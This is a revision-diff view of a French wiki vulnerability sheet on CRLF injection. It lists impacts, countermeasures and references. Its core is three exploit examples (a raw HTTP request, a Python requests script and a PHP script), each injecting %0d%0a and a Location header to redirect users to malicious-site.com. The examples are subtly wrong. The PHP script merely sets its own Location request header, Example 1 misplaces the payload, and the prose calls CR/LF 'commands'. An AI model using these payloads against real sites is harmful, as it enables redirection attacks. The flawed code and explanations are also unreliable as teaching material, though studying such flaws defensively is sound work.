Outils pour utilisateurs

Outils du site


cyber:vulnerabilite:crlf

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentesRévision précédente
Prochaine révision
Révision précédente
cyber:vulnerabilite:crlf [2025/07/03 11:57] admincyber:vulnerabilite:crlf [2025/07/03 12:03] (Version actuelle) – [Exemple 3] admin
Ligne 35: Ligne 35:
  
 Une exploitation réussie de ce type de vulnérabilité peut permettre : Une exploitation réussie de ce type de vulnérabilité peut permettre :
--* L'injection de code malveillant sur l'application ; +  * L'injection de code malveillant sur l'application ; 
--* La redirection des utilisateurs sur des sites externes ; +  * La redirection des utilisateurs sur des sites externes ; 
--* L'exécution de commandes choisies par le client directement sur le serveur ; +  * L'exécution de commandes choisies par le client directement sur le serveur ; 
--* L’accès à des fonctionnalités sensibles.+  * L’accès à des fonctionnalités sensibles. 
 + 
 +===== Contres-mesures =====
  
-{{{Contres-mesures}}} 
 Les contre-mesures suivantes peuvent être mises en œuvre : Les contre-mesures suivantes peuvent être mises en œuvre :
--* Filtrer les caractères CR et LF dans les entrées de données ; +  * Filtrer les caractères CR et LF dans les entrées de données ; 
--* S'assurer que les en-têtes de requête HTTP sont correctement formatés et validés.+  * S'assurer que les en-têtes de requête HTTP sont correctement formatés et validés
 + 
 +====== Comment cela fonctionne?  ====== 
 + 
 +Les scénarii suivants peuvent être joués via l'exploitation de cette vulnérabilité : 
 +  * Redirection des visiteurs d'une application ; 
 +  * Accès à des ressources protégées. 
 + 
 +===== Exemple 1 ===== 
 + 
 +Voici un exemple d'exploitation d'une vulnérabilité CRLF dans laquelle un attaquant force la redirection d'un utilisateur vers un site Web externe (dont il a le contrôle) : 
 + 
 +<code http> 
 +GET / HTTP/1.1 
 +Host: vulnerable-site.com 
 + 
 +%0d%0aLocation: http://malicious-site.com%0d%0a 
 +</code> 
 + 
 +Dans cet exemple, les caractères <code>%0d%0a</code> représentent les caractères CR et LF codés en hexadécimal. Lorsque l'application Web reçoit cette requête, elle interprète les caractères CR et LF comme des commandes et redirige l'utilisateur vers http://malicious-site.com. 
 + 
 +===== Exemple 2 ===== 
 + 
 +Exploitation de la vulnérabilité CRLF en Python : 
 + 
 +<code python> 
 +import requests 
 + 
 +url = "http://vulnerable-site.com/search" 
 + 
 +headers = { 
 +    "Host": "vulnerable-site.com", 
 +    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
 +    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
 +    "Content-Type": "application/x-www-form-urlencoded", 
 +    "Content-Length": "43", 
 +
 + 
 +data = "query=test%0d%0aLocation:http://malicious-site.com" 
 + 
 +response = requests.post(url, headers=headers, data=data) 
 +</code> 
 + 
 +Dans cet exemple, nous envoyons une requête POST à l'URL http://vulnerable-site.com/search avec des caractères CR et LF injectés dans le champ **query** de la requête. Si l'application Web n'est pas correctement configurée pour filtrer ces caractères, elle peut être exploitée pour rediriger l'utilisateur vers http://malicious-site.com. 
 + 
 +===== Exemple 3 ===== 
 + 
 +Exploitation de la vulnérabilité CRLF en PHP : 
 + 
 +<code php> 
 +<?php 
 + 
 +$url = "http://vulnerable-site.com/search"; 
 + 
 +$headers = array( 
 +    "Host: vulnerable-site.com", 
 +    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
 +    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
 +    "Content-Type: application/x-www-form-urlencoded", 
 +    "Content-Length: 43", 
 +    "Location: http://malicious-site.com" 
 +); 
 + 
 +$data = "query=test%0d%0a"; 
 + 
 +$options = array( 
 +    "http" => array( 
 +        "header"  => $headers, 
 +        "method"  => "POST", 
 +        "content" => $data, 
 +    ), 
 +); 
 + 
 +$context  = stream_context_create($options); 
 +$result = file_get_contents($url, false, $context); 
 +</code> 
 + 
 +Dans cet exemple, nous envoyons une requête POST à l'URL http://vulnerable-site.com/search avec des caractères CR et LF injectés dans le champ query de la requête via la variable PHP **data**. Si l'application Web n'est pas correctement configurée pour filtrer ces caractères, elle peut être exploitée pour rediriger l'utilisateur vers http://malicious-site.com.
  
 +====== References ======
  
 +URL :
 +  * https://repository.root-me.org/Exploitation%20-%20Web/FR%20-%20Vuln%C3%A9rabilit%C3%A9%20CRLF.pdf
 +  * https://fr.wikipedia.org/wiki/Carriage_Return_Line_Feed
 +  * https://owasp.org/www-community/vulnerabilities/CRLF_Injection
 +  * https://github.com/Nefcore/CRLFsuite
 +  * https://github.com/dwisiswant0/crlfuzz
 ====== Retour fiches vulnérabilités ====== ====== Retour fiches vulnérabilités ======
   * [[cyber:vulnerabilite:accueil|Cyber fiches vulnérabilités]]   * [[cyber:vulnerabilite:accueil|Cyber fiches vulnérabilités]]
  
  
cyber/vulnerabilite/crlf.1751536654.txt.gz · Dernière modification : 2025/07/03 11:57 de admin